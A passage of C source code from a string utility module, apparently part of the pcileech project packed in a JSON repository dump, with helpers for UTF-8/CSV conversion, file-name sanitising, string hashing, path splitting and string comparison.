}\n    cbu++;\n    cbv++;\n    if(pcbv) { *pcbv = cbv; }\n    // 2: return on length-request or alloc-fail\n    if(!pvsz) {\n        if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; }   // success: length request\n        if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }\n    }\n    if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbv))) { goto fail; } // fail: insufficient buffer space\n    vsz = (pbBuffer && (cbBuffer >= cbv)) ? pbBuffer : LocalAlloc(0, cbv);\n    if(!vsz) { goto fail; }                                                 // fail: failed buffer space allocation\n    // 3: populate with CSV UTF-8 string\n    iu = cbu - 2; iv = cbv - 2;\n    if(fCSV) { vsz[iv--] = '\"'; }\n    while(iv < 0x7fffffff) {\n        if(!iv && fCSV) {\n            vsz[0] = '\"';\n            break;\n        }\n        c = usz[iu--];\n        if(c == '\"') {\n            vsz[iv--] = '\"';\n        }\n        if(c < 0x20) {\n            c = '?';\n        }\n        vsz[iv--] = c;\n    }\n    vsz[cbv - 1] = 0;\n    if(pvsz) { *pvsz = vsz; }\n    return TRUE;\nfail:\n    if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) {\n        if(pvsz) { *pvsz = (LPSTR)pbBuffer; }\n        if(pcbv) { *pcbv = 1; }\n        pbBuffer[0] = 0;\n    }\n    return FALSE;\n}\n\n\n\n/*\n* Convert a string into a file name compatible string by replacing illegal\n* characters with '_'. Also optionally add a suffix between 1-9 and fix\n* upper-case letters. If insufficient space the result will be truncated.\n* -- uszDst\n* -- cbuDst\n* -- uszSrc\n* -- iSuffix\n* -- fUpper\n* -- return = number of bytes written (including terminating NULL).\n*/\n_Success_(return != 0)\nDWORD CharUtil_FixFsNameU(_Out_writes_(cbuDst) LPSTR uszDst, _In_ DWORD cbuDst, _In_ LPCSTR uszSrc, _In_opt_ DWORD iSuffix, _In_ BOOL fUpper)\n{\n    UCHAR c;\n    DWORD i = 0, nSuffix = 0;\n    // 1: convert correct size utf-8\n    if(iSuffix) {\n        if(iSuffix < 100) { nSuffix = 3; }\n        if(iSuffix < 10) { nSuffix = 2; }\n    }\n    if(cbuDst < 2 + nSuffix) {\n        if(cbuDst) { uszDst[0] = 0; }\n        return cbuDst ? 1 : 0;\n    }\n    CharUtil_UtoU((LPSTR)uszSrc, -1, (PBYTE)uszDst, cbuDst - nSuffix, NULL, NULL, CHARUTIL_FLAG_TRUNCATE | CHARUTIL_FLAG_STR_BUFONLY);\n    // 2: replace bad/uppercase chars\n    if(fUpper) {\n        while((c = uszDst[i])) {\n            if(c >= 'a' && c <= 'z') {\n                c += 'A' - 'a';\n            } else if(c < 128) {\n                c = (CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') ? '_' : c;\n            }\n            uszDst[i] = c;\n            i++;\n        }\n    } else {\n        while((c = uszDst[i])) {\n            if(c < 128) {\n                c = (CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') ? '_' : c;\n            }\n            uszDst[i] = c;\n            i++;\n        }\n    }\n    // 3: append suffix (if required)\n    if(nSuffix && (i + nSuffix + 1 < cbuDst)) {\n        uszDst[i++] = '-';\n        if(iSuffix >= 10) {\n            uszDst[i++] = '0' + (CHAR)(iSuffix / 10);\n        }\n        uszDst[i++] = '0' + (CHAR)(iSuffix % 10);\n        uszDst[i++] = 0;\n    }\n    if(i && (uszDst[i - 1] == '.')) { uszDst[i - 1] = '_'; }\n    return (DWORD)(strlen(uszDst) + 1);\n}\n\n/*\n* Convert a string into a file name compatible string by replacing illegal\n* characters with '_'. Also optionally add a suffix between 1-9 and fix\n* upper-case letters. One of [usz, sz, wsz] must be valid.\n* -- uszOut\n* -- cbuDst\n* -- usz\n* -- sz\n* -- wsz\n* -- cwsz\n* -- cch = number of bytes/wchars in usz/sz/wsz or _TRUNCATE\n* -- iSuffix\n* -- fUpper\n* -- return = number of bytes written (including terminating NULL).\n*/\n_Success_(return != 0)\nDWORD CharUtil_FixFsName(_Out_writes_(cbuDst) LPSTR uszOut, _In_ DWORD cbuDst, _In_opt_ LPCSTR usz, _In_opt_ LPCSTR sz, _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _In_opt_ DWORD iSuffix, _In_ BOOL fUpper)\n{\n    UCHAR c, cLast = 0;\n    DWORD i = 0;\n    LPSTR uszTMP;\n    uszOut[0] = 0;\n    // 1: convert correct size utf-8\n    if(cbuDst < 5) { return 0; }\n    if(!sz && !usz && !wsz) { return 0; }\n    if(sz && !CharUtil_AtoU((LPSTR)sz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; }\n    if(wsz && !CharUtil_WtoU((LPWSTR)wsz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; }\n    if(usz && !CharUtil_UtoU((LPSTR)usz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; }\n    // 2: replace bad/uppercase chars\n    if(fUpper) {\n        while((c = uszOut[i])) {\n            if(c >= 'a' && c <= 'z') {\n                c += 'A' - 'a';\n            } else if((c < 128) && (cLast < 128)) {\n                c = (CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') ? '_' : c;\n            }\n            uszOut[i] = c;\n            cLast = c;\n            i++;\n        }\n    } else {\n        while((c = uszOut[i])) {\n            if((c < 128) && (cLast < 128)) {\n                c = (CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') ? '_' : c;\n            }\n            uszOut[i] = c;\n            cLast = c;\n            i++;\n        }\n    }\n    // 3: append suffix (if required)\n    if(iSuffix && (iSuffix < 100)) {\n        uszOut[i++] = '-';\n        if(iSuffix >= 10) {\n            uszOut[i++] = '0' + (CHAR)(iSuffix / 10);\n        }\n        uszOut[i++] = '0' + (CHAR)(iSuffix % 10);\n        uszOut[i++] = 0;\n    }\n    if(i && (uszOut[i - 1] == '.')) { uszOut[i - 1] = '_'; }\n    return (DWORD)(strlen(uszOut) + 1);\n}\n\n/*\n* Replace illegal characters in a text with a character of the users choosing.\n* The result is returned as a utf-8 string.\n* -- uszOut\n* -- cbuDst\n* -- usz\n* -- sz\n* -- wsz\n* -- cwsz\n* -- cch = number of bytes/wchars in usz/sz/wsz or _TRUNCATE\n* -- chReplace = character to replace illegal characters with.\n* -- chAllowArray = array of 0(illegal char) or 1(allowed char) for each character in the 0-127 range.\n* -- return = number of bytes written (including terminating NULL).\n*/\n_Success_(return != 0)\nDWORD CharUtil_ReplaceMultiple(_Out_writes_(cbuDst) LPSTR uszOut, _In_ DWORD cbuDst, _In_opt_ LPCSTR usz, _In_opt_ LPCSTR sz, _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _In_ CHAR chAllowArray[128], _In_ CHAR chNew)\n{\n    UCHAR c, cLast = 0;\n    DWORD i = 0;\n    LPSTR uszTMP;\n    uszOut[0] = 0;\n    // 1: convert correct size utf-8\n    if(cbuDst < 5) { return 0; }\n    if(!sz && !usz && !wsz) { return 0; }\n    if(sz && !CharUtil_AtoU((LPSTR)sz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; }\n    if(wsz && !CharUtil_WtoU((LPWSTR)wsz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; }\n    if(usz && !CharUtil_UtoU((LPSTR)usz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; }\n    // 2: replace bad chars\n    while((c = uszOut[i])) {\n        if((c < 128) && (cLast < 128)) {\n            c = (chAllowArray[c] == '0') ? chNew : c;\n        }\n        uszOut[i] = c;\n        cLast = c;\n        i++;\n    }\n    return (DWORD)(strlen(uszOut) + 1);\n}\n\n/*\n* Hash a string quickly using the ROT13 algorithm.\n* -- sz/jsz/wsz = the string to hash\n* -- fUpper\n* -- return\n*/\nQWORD CharUtil_Hash64U(_In_opt_ LPCSTR usz, _In_ BOOL fUpper)\n{\n    CHAR c;\n    QWORD i = 0, qwHash = 0;\n    if(!usz) { return 0; }\n    if(fUpper) {\n        while(TRUE) {\n            c = usz[i++];\n            if(!c) { return qwHash; }\n            if(c >= 'a' && c <= 'z') {\n                c += 'A' - 'a';\n            }\n            qwHash = ((qwHash >> 13) | (qwHash << 51)) + c;\n        }\n    } else {\n        while(TRUE) {\n            c = usz[i++];\n            if(!c) { return qwHash; }\n            qwHash = ((qwHash >> 13) | (qwHash << 51)) + c;\n        }\n    }\n}\n\nQWORD CharUtil_Hash64A(_In_opt_ LPCSTR sz, _In_ BOOL fUpper)\n{\n    LPSTR usz;\n    QWORD qwHash = 0;\n    BYTE pbBuffer[MAX_PATH];\n    if(!sz) { return 0; }\n    if(CharUtil_IsAnsiA(sz)) {\n        return CharUtil_Hash64U(sz, fUpper);\n    }\n    if(CharUtil_AtoU((LPSTR)sz, -1, pbBuffer, sizeof(pbBuffer), &usz, NULL, CHARUTIL_FLAG_ALLOC)) {\n        qwHash = CharUtil_Hash64U(usz, fUpper);\n        if(pbBuffer != (PBYTE)usz) { LocalFree(usz); }\n    }\n    return qwHash;\n}\n\nQWORD CharUtil_Hash64W(_In_opt_ LPCWSTR wsz, _In_ BOOL fUpper)\n{\n    CHAR c;\n    LPSTR usz;\n    QWORD i = 0, qwHash = 0;\n    BYTE pbBuffer[MAX_PATH];\n    PUSHORT pus = (PUSHORT)wsz;\n    if(!wsz) { return 0; }\n    if(CharUtil_IsAnsiW(wsz)) {\n        while(TRUE) {\n            c = (CHAR)pus[i++];\n            if(!c) { return qwHash; }\n            if(fUpper && c >= 'a' && c <= 'z') {\n                c += 'A' - 'a';\n            }\n            qwHash = ((qwHash >> 13) | (qwHash << 51)) + c;\n        }\n    }\n    if(CharUtil_WtoU((LPWSTR)wsz, -1, pbBuffer, sizeof(pbBuffer), &usz, NULL, CHARUTIL_FLAG_ALLOC)) {\n        qwHash = CharUtil_Hash64U(usz, fUpper);\n        if(pbBuffer != (PBYTE)usz) { LocalFree(usz); }\n    }\n    return qwHash;\n}\n\nDWORD CharUtil_Hash32U(_In_opt_ LPCSTR usz, _In_ BOOL fUpper)\n{\n    CHAR c;\n    DWORD i = 0, dwHash = 0;\n    if(!usz) { return 0; }\n    if(fUpper) {\n        while(TRUE) {\n            c = usz[i++];\n            if(!c) { return dwHash; }\n            if(c >= 'a' && c <= 'z') {\n                c += 'A' - 'a';\n            }\n            dwHash = ((dwHash >> 13) | (dwHash << 19)) + c;\n        }\n    } else {\n        while(TRUE) {\n            c = usz[i++];\n            if(!c) { return dwHash; }\n            dwHash = ((dwHash >> 13) | (dwHash << 19)) + c;\n        }\n    }\n}\n\nDWORD CharUtil_Hash32A(_In_opt_ LPCSTR sz, _In_ BOOL fUpper)\n{\n    LPSTR usz;\n    DWORD dwHash = 0;\n    BYTE pbBuffer[MAX_PATH];\n    if(!sz) { return 0; }\n    if(CharUtil_IsAnsiA(sz)) {\n        return CharUtil_Hash32U(sz, fUpper);\n    }\n    if(CharUtil_AtoU((LPSTR)sz, -1, pbBuffer, sizeof(pbBuffer), &usz, NULL, CHARUTIL_FLAG_ALLOC)) {\n        dwHash = CharUtil_Hash32U(usz, fUpper);\n        if(pbBuffer != (PBYTE)usz) { LocalFree(usz); }\n    }\n    return dwHash;\n}\n\nDWORD CharUtil_Hash32W(_In_opt_ LPCWSTR wsz, _In_ BOOL fUpper)\n{\n    CHAR c;\n    LPSTR usz;\n    DWORD i = 0, dwHash = 0;\n    BYTE pbBuffer[MAX_PATH];\n    PUSHORT pus = (PUSHORT)wsz;\n    if(!wsz) { return 0; }\n    if(CharUtil_IsAnsiW(wsz)) {\n        while(TRUE) {\n            c = (CHAR)pus[i++];\n            if(!c) { return dwHash; }\n            if(fUpper && c >= 'a' && c <= 'z') {\n                c += 'A' - 'a';\n            }\n            dwHash = ((dwHash >> 13) | (dwHash << 19)) + c;\n        }\n    }\n    if(CharUtil_WtoU((LPWSTR)wsz, -1, pbBuffer, sizeof(pbBuffer), &usz, NULL, CHARUTIL_FLAG_ALLOC)) {\n        dwHash = CharUtil_Hash32U(usz, fUpper);\n        if(pbBuffer != (PBYTE)usz) { LocalFree(usz); }\n    }\n    return dwHash;\n}\n\n\n\n\n/*\n* Internal hash function for HashNameFs* and HashPathFs* functions.\n*/\nDWORD CharUtil_Internal_HashFs(_In_ LPSTR usz)\n{\n    UCHAR c;\n    DWORD i = 0, dwHash = 0;\n    while((c = usz[i++])) {\n        dwHash = ((dwHash >> 13) | (dwHash << 19)) + c;\n    }\n    return dwHash;\n}\n\n/*\n* Hash a name string in a way that is supported by the file system.\n* NB! this is not the same hash as the Windows registry uses.\n* -- usz/sz/wsz\n* -- iSuffix\n* -- return\n*/\nDWORD CharUtil_HashNameFsU(_In_ LPCSTR usz, _In_opt_ DWORD iSuffix)\n{\n    CHAR uszFs[2*MAX_PATH];\n    if(!CharUtil_FixFsName(uszFs, sizeof(uszFs), usz, NULL, NULL, -1, iSuffix, TRUE)) { return 0; }\n    return CharUtil_Internal_HashFs(uszFs);\n}\n\nDWORD CharUtil_HashNameFsA(_In_ LPCSTR sz, _In_opt_ DWORD iSuffix)\n{\n    CHAR uszFs[2 * MAX_PATH];\n    if(!CharUtil_FixFsName(uszFs, sizeof(uszFs), NULL, sz, NULL, -1, iSuffix, TRUE)) { return 0; }\n    return CharUtil_Internal_HashFs(uszFs);\n}\n\nDWORD CharUtil_HashNameFsW(_In_ LPCWSTR wsz, _In_opt_ DWORD iSuffix)\n{\n    CHAR uszFs[2 * MAX_PATH];\n    if(!CharUtil_FixFsName(uszFs, sizeof(uszFs), NULL, NULL, wsz, -1, iSuffix, TRUE)) { return 0; }\n    return CharUtil_Internal_HashFs(uszFs);\n}\n\n\n\n/*\n* Replace all characters in a string.\n* -- sz\n* -- chOld\n* -- chNew\n*/\nVOID CharUtil_ReplaceAllA(_Inout_ LPSTR sz, _In_ CHAR chOld, _In_ CHAR chNew)\n{\n    CHAR c;\n    DWORD i = 0;\n    while((c = sz[i++])) {\n        if(c == chOld) {\n            sz[i - 1] = chNew;\n        }\n    }\n}\n\n\n\n/*\n* Split the string usz into two at the last (back)slash which is removed.\n* Ex: usz: XXX/YYY/ZZZ/AAA -> uszPath: XXX/YYY/ZZZ + return: AAA\n* -- usz = utf-8 or ascii string.\n* -- uszPath = buffer to receive result.\n* -- cbuPath = byte length of uszPath buffer\n* -- return = last part (i.e. file name) of usz.\n*/\nLPSTR CharUtil_PathSplitLastEx(_In_ LPCSTR usz, _Out_writes_(cbuPath) LPSTR uszPath, _In_ DWORD cbuPath)\n{\n    DWORD i, iSlash = -1;\n    CHAR ch = -1;\n    if(!cbuPath) { return NULL; }\n    for(i = 0; ch && i < cbuPath; i++) {\n        ch = usz[i];\n        uszPath[i] = ch;\n        if((ch == '\\\\') || (ch == '/')) {\n            iSlash = i;\n        }\n    }\n    uszPath[cbuPath - 1] = 0;\n    if(iSlash == (DWORD)-1) { return NULL; }\n    uszPath[iSlash] = 0;\n    return uszPath + iSlash + 1;\n}\n\n/*\n* Split the string usz into two at the last (back)slash which is removed.\n* If no slash is found, the input string is not modified and NULL is returned.\n* NB! The input string is modified in place.\n* Ex: usz: XXX/YYY/ZZZ/AAA -> usz: XXX/YYY/ZZZ + return: AAA\n* -- usz = utf-8 or ascii string to be split/modified.\n* -- return = last part (i.e. file name) of usz.\n*/\nLPSTR CharUtil_PathSplitLastInPlace(_Inout_ LPSTR usz)\n{\n    DWORD i = 0, iSlash = -1;\n    CHAR ch = -1;\n    while((ch = usz[i])) {\n        if((ch == '\\\\') || (ch == '/')) {\n            iSlash = i;\n        }\n        i++;\n    }\n    if(iSlash == (DWORD)-1) { return NULL; }\n    usz[iSlash] = 0;\n    return usz + iSlash + 1;\n}\n\n/*\n* Return the sub-string after the last (back)slash character in usz.\n* If no (back)slash is found original string is returned. The returned data\n* must not be free'd and is only valid as long as the usz parameter is valid.\n* -- usz = utf-8 or ascii string.\n* -- return\n*/\nLPCSTR CharUtil_PathSplitLast(_In_ LPCSTR usz)\n{\n    LPCSTR uszResult = usz;\n    UCHAR ch;\n    DWORD i = 0;\n    while(TRUE) {\n        ch = usz[i++];\n        if(ch == '\\0') {\n            return uszResult;\n        }\n        if(ch == '\\\\' || ch == '/') {\n            uszResult = usz + i;\n        }\n    }\n}\n\n/*\n* Return the sub-string after the first (back)slash character in usz.\n* If no (back)slash is found original string is returned. The returned data\n* must not be free'd and is only valid as long as the usz parameter is valid.\n* -- usz = utf-8 or ascii string.\n* -- return\n*/\nLPCSTR CharUtil_PathSplitNext(_In_ LPCSTR usz)\n{\n    CHAR ch;\n    DWORD i = 0;\n    while(TRUE) {\n        ch = usz[i++];\n        if(ch == '\\0') {\n            return usz + i - 1;\n        }\n        if((ch == '\\\\') || (ch == '/')) {\n            return usz + i;\n        }\n    }\n}\n\n/*\n* Split a string into two at the first character.\n* The 1st string is returned in the pusz1 caller-allocated buffer. The\n* remainder is returned as return data (is a sub-string of usz). If no\n* 2nd string is found null-terminator character is returned (NB! not as NULL).\n* -- usz = utf-8/ascii string to split.\n* -- ch = character to split at.\n* -- usz1 = buffer to receive result.\n* -- cbu1 = byte length of usz1 buffer\n* -- return = remainder of split string.\n*/\nLPCSTR CharUtil_SplitFirst(_In_ LPCSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1)\n{\n    UCHAR c;\n    DWORD i = 0;\n    while((c = usz[i]) && (c != ch) && (i < cbu1 - 2)) {\n        usz1[i++] = c;\n    }\n    usz1[i] = 0;\n    return usz[i] ? &usz[i + 1] : \"\";\n}\n\n/*\n* Split a string into two at the last character.\n* The 1st string is returned in the pusz1 caller-allocated buffer. The\n* remainder is returned as return data (is a sub-string of usz). If no\n* 2nd string is found null-terminator character is returned (NB! not as NULL).\n* -- usz = utf-8/ascii string to split.\n* -- ch = character to split at.\n* -- usz1 = buffer to receive result.\n* -- cbu1 = byte length of usz1 buffer\n* -- return = remainder of split string.\n*/\nLPCSTR CharUtil_SplitLast(_In_ LPCSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1)\n{\n    UCHAR c;\n    DWORD p = cbu1 - 1, i = 0;\n    while((c = usz[i]) && (i < cbu1 - 2)) {\n        if(c == ch) { p = i; }\n        usz1[i++] = c;\n    }\n    usz1[p] = 0;\n    return (p == cbu1 - 1) ? \"\" : &usz[p + 1];\n}\n\n/*\n* Split a string into a list of strings at the delimiter characters.\n* The function allocates neccessary memory for the result array and its values.\n* CALLER LocalFree: *ppuszArray\n* -- usz = utf-8/ascii string to split.\n* -- chDelimiter = character to split at.\n* -- pcArray = pointer to receive number of strings in result array.\n* -- ppuszArray = pointer to receive result array.\n* -- return = remainder of split string.\n*/\n_Success_(return)\nBOOL CharUtil_SplitList(_Inout_opt_ LPSTR usz, _In_ CHAR chDelimiter, _Out_ PDWORD pcArray, _Out_ LPSTR **ppuszArray)\n{\n    UCHAR c;\n    LPSTR *pszResult;\n    DWORD cch = 0, cDelim = 1, cDelimResult = 0;\n    *pcArray = 0;\n    *ppuszArray = NULL;\n    if(!usz) { return FALSE; }\n    // count total length and # of delimiters:\n    while((c = usz[cch])) {\n        if(c == chDelimiter) { cDelim++; }\n        cch++;\n    }\n    // allocate result array:\n    if(!(pszResult = LocalAlloc(LMEM_ZEROINIT, cDelim * sizeof(LPSTR) + cch + 1))) { return FALSE; }\n    memcpy(pszResult + cDelim, usz, cch);\n    usz = (LPSTR)(pszResult + cDelim);\n    // split string:\n    pszResult[cDelimResult++] = usz;\n    while((c = usz[0]) && (cDelimResult < cDelim)) {\n        if(c == chDelimiter) {\n            usz[0] = 0;\n            pszResult[cDelimResult++] = usz + 1;\n        }\n        usz++;\n    }\n    // set out parameters:\n    *ppuszArray = pszResult;\n    *pcArray = cDelim;\n    return TRUE;\n}\n\n/*\n* Split a \"path\" string into two at the first slash/backslash character.\n* The 1st string is returned in the pusz1 caller-allocated buffer. The\n* remainder is returned as return data (is a sub-string of usz). If no\n* 2nd string is found null-terminator character is returned (NB! not as NULL).\n* -- usz = utf-8/ascii string to split.\n* -- usz1 = buffer to receive result.\n* -- cbu1 = byte length of usz1 buffer\n* -- return = remainder of split string.\n*/\nLPCSTR CharUtil_PathSplitFirst(_In_ LPCSTR usz, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1)\n{\n    UCHAR c;\n    DWORD i = 0;\n    if(cbu1 < 3) {\n        if(cbu1) { usz1[0] = 0; }\n        return \"\";\n    }\n    while((c = usz[i]) && (c != '\\\\') && (c != '/') && (i < cbu1 - 2)) {\n        usz1[i++] = c;\n    }\n    usz1[i] = 0;\n    return usz[i] ? &usz[i + 1] : \"\";\n}\n\n/*\n* Internal hash function for HashPathFs* functions.\n*/\nQWORD CharUtil_HashPathFs_Internal(_In_ LPCSTR uszPathFs)\n{\n    CHAR uszFirst[MAX_PATH];\n    DWORD dwHashName;\n    QWORD qwHashTotal = 0;\n    while(uszPathFs[0]) {\n        uszPathFs = CharUtil_PathSplitFirst((LPSTR)uszPathFs, uszFirst, _countof(uszFirst));\n        dwHashName = CharUtil_HashNameFsU(uszFirst, 0);\n        qwHashTotal = dwHashName + ((qwHashTotal >> 13) | (qwHashTotal << 51));\n    }\n    return qwHashTotal;\n}\n\n/*\n* Hash a path string in a way that is supported by the file system.\n* NB! this is not the same hash as the Windows registry uses.\n* -- uszPath/szPath/wszPath\n* -- iSuffix\n* -- return\n*/\nQWORD CharUtil_HashPathFsU(_In_ LPCSTR uszPath)\n{\n    return CharUtil_HashPathFs_Internal(uszPath);\n}\n\nQWORD CharUtil_HashPathFsA(_In_ LPCSTR szPath)\n{\n    LPSTR uszPath;\n    BYTE pbBuffer[2 * MAX_PATH];\n    if(!CharUtil_AtoU((LPSTR)szPath, -1, pbBuffer, sizeof(pbBuffer), &uszPath, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; }\n    return CharUtil_HashPathFs_Internal(uszPath);\n}\n\nQWORD CharUtil_HashPathFsW(_In_ LPCWSTR wszPath)\n{\n    LPSTR uszPath;\n    BYTE pbBuffer[2 * MAX_PATH];\n    if(!CharUtil_WtoU((LPWSTR)wszPath, -1, pbBuffer, sizeof(pbBuffer), &uszPath, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; }\n    return CharUtil_HashPathFs_Internal(uszPath);\n}\n\n/*\n* Compare multiple strings with a CharUtil_Str* compare function.\n* If at least one comparison is TRUE return TRUE - otherwise FALSE.\n* -- pfnStrCmp\n* -- usz1\n* -- fCaseInsensitive\n* -- cStr\n* -- \n* ...\n* -- return\n*/\nBOOL CharUtil_StrCmpAny(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...)\n{\n    va_list arglist;\n    if(!pfnStrCmp) { return FALSE; }\n    va_start(arglist, cStr);\n    while(cStr) {\n        if(pfnStrCmp(usz1, va_arg(arglist, LPSTR), fCaseInsensitive)) {\n            va_end(arglist);\n            return TRUE;\n        }\n        cStr--;\n    }\n    va_end(arglist);\n    return FALSE;\n}\n\n/*\n* Compare multiple strings with a CharUtil_Str* compare function.\n* If at least one comparison is TRUE return TRUE - otherwise FALSE.\n* -- pfnStrCmp\n* -- usz1\n* -- fCaseInsensitive\n* -- cStr\n* -- pStr\n* -- return\n*/\nBOOL CharUtil_StrCmpAnyEx(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, _In_ LPCSTR *pStr)\n{\n    if(!pfnStrCmp) { return FALSE; }\n    while(cStr) {\n        if(pfnStrCmp(usz1, pStr[--cStr], fCaseInsensitive)) {\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\n/*\n* Compare multiple strings with a CharUtil_Str* compare function.\n* If all comparisons are TRUE return TRUE - otherwise FALSE.\n* -- pfnStrCmp\n* -- usz1\n* -- fCaseInsensitive\n* -- cStr\n* --\n* ...\n* -- return\n*/\nBOOL CharUtil_StrCmpAll(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...)\n{\n    va_list arglist;\n    if(!pfnStrCmp) { return FALSE; }\n    va_start(arglist, cStr);\n    while(cStr) {\n        if(!pfnStrCmp(usz1, va_arg(arglist, LPSTR), fCaseInsensitive)) {\n            va_end(arglist);\n            return FALSE;\n        }\n        cStr--;\n    }\n    va_end(arglist);\n    return TRUE;\n}\n\n/*\n* Checks if a string ends with a certain substring.\n* -- usz\n* -- uszEndsWith\n* -- fCaseInsensitive\n* -- return\n*/\nBOOL CharUtil_StrEndsWith(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszEndsWith, _In_ BOOL fCaseInsensitive)\n{\n    SIZE_T cch, cchEndsWith;\n    if(!usz || !uszEndsWith) { return FALSE; }\n    cch = strlen(usz);\n    cchEndsWith = strlen(uszEndsWith);\n    if(cch < cchEndsWith) { return FALSE; }\n    return fCaseInsensitive ?\n        (0 == _stricmp(usz + cch - cchEndsWith, uszEndsWith)) :\n        (0 == strcmp(usz + cch - cchEndsWith, uszEndsWith));\n}\n\n/*\n* Checks if a string starts with a certain substring.\n* -- usz\n* -- uszStartsWith\n* -- fCaseInsensitive\n* -- return\n*/\nBOOL CharUtil_StrStartsWith(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszStartsWith, _In_ BOOL fCaseInsensitive)\n{\n    if(!usz || !uszStartsWith) { return FALSE; }\n    if(fCaseInsensitive) {\n        return (0 == _strnicmp(usz, uszStartsWith, strlen(uszStartsWith)));\n    } else {\n        return (0 == strncmp(usz, uszStartsWith, strlen(uszStartsWith)));\n    }\n}\n\n/*\n* Checks if a string equals another string.\n* -- usz1\n* -- usz2\n* -- fCaseInsensitive\n* -- return\n*/\nBOOL CharUtil_StrEquals(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR usz2, _In_ BOOL fCaseInsensitive)\n{\n    if(!usz || !usz2) { return FALSE; }\n    if(fCaseInsensitive) {\n        return (0 == _stricmp(usz, usz2));\n    } else {\n        return (0 == strcmp(usz, usz2));\n    }\n}\n\n/*\n* Checks if a string contains a certain substring, if found return the pointer\n* to the 1st start of the substring in the original string.\n* -- usz\n* -- uszNeedle\n* -- fCaseInsensitive\n* -- return = pointer to the start of the substring in usz, or NULL if not found.\n*/\nLPCSTR CharUtil_StrContains(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszSubString, _In_ BOOL fCaseInsensitive)\n{\n    SIZE_T i;\n    CHAR ch1, ch2;\n    if(!usz || !uszSubString || !uszSubString[0]) {\n        return (LPSTR)usz;\n    }\n    if(!fCaseInsensitive) {\n        return strstr(usz, uszSubString);\n    }\n    while(usz[0]) {\n        i = 0;\n        while(TRUE) {\n            ch1 = usz[i];\n            ch2 = uszSubString[i];\n            if(!ch2) {\n                return usz;\n            }\n            if(!ch1) {\n                return NULL;\n            }\n            if(ch1 >= 'a' && ch1 <= 'z') {\n                ch1 += 'A' - 'a';\n            }\n            if(ch2 >= 'a' && ch2 <= 'z') {\n                ch2 += 'A' - 'a';\n            }\n            if(ch1 == ch2) {\n                i++;\n                continue;\n            }\n            break;\n        }\n        usz++;\n    }\n    return NULL;\n}\n\n\n\n/*\n* Compare a wide-char string to a utf-8 string.\n* NB! only the first 2*MAX_PATH characters are compared.\n* -- wsz1\n* -- usz2\n* -- return = 0 if equals, -1/1 otherwise.\n*/\nint CharUtil_CmpWU(_In_opt_ LPWSTR wsz1, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive)\n{\n    LPSTR usz1;\n    BYTE pbBuffer1[2 * MAX_PATH];\n    if(!wsz1 && !usz2) { return 0; }\n    if(!wsz1) { return -1; }\n    if(!usz2) { return 1; }\n    if(!CharUtil_WtoU(wsz1, -1, pbBuffer1, sizeof(pbBuffer1), &usz1, NULL, CHARUTIL_FLAG_TRUNCATE)) { return -1; }\n    return fCaseInsensitive ? _stricmp(usz1, usz2) : strcmp(usz1, usz2);\n}\n\n/*\n* Compare two wide-char strings.\n* NB! only the first 2*MAX_PATH characters are compared.\n* -- wsz1\n* -- wsz2\n* -- return = 0 if equals, -1/1 otherwise.\n*/\nint CharUtil_CmpWW(_In_opt_ LPCWSTR wsz1, _In_opt_ LPCWSTR wsz2, _In_ BOOL fCaseInsensitive)\n{\n    LPSTR usz1, usz2;\n    BYTE pbBuffer1[2 * MAX_PATH], pbBuffer2[2 * MAX_PATH];\n    if(!wsz1 && !wsz2) { return 0; }\n    if(!wsz1) { return -1; }\n    if(!wsz2) { return 1; }\n    if(!CharUtil_WtoU(wsz1, -1, pbBuffer1, sizeof(pbBuffer1), &usz1, NULL, CHARUTIL_FLAG_TRUNCATE)) { return -1; }\n    if(!CharUtil_WtoU(wsz2, -1, pbBuffer2, sizeof(pbBuffer2), &usz2, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 1; }\n    return fCaseInsensitive ? _stricmp(usz1, usz2) : strcmp(usz1, usz2);\n}\n"
  },
  {
    "path": "pcileech/charutil.h",
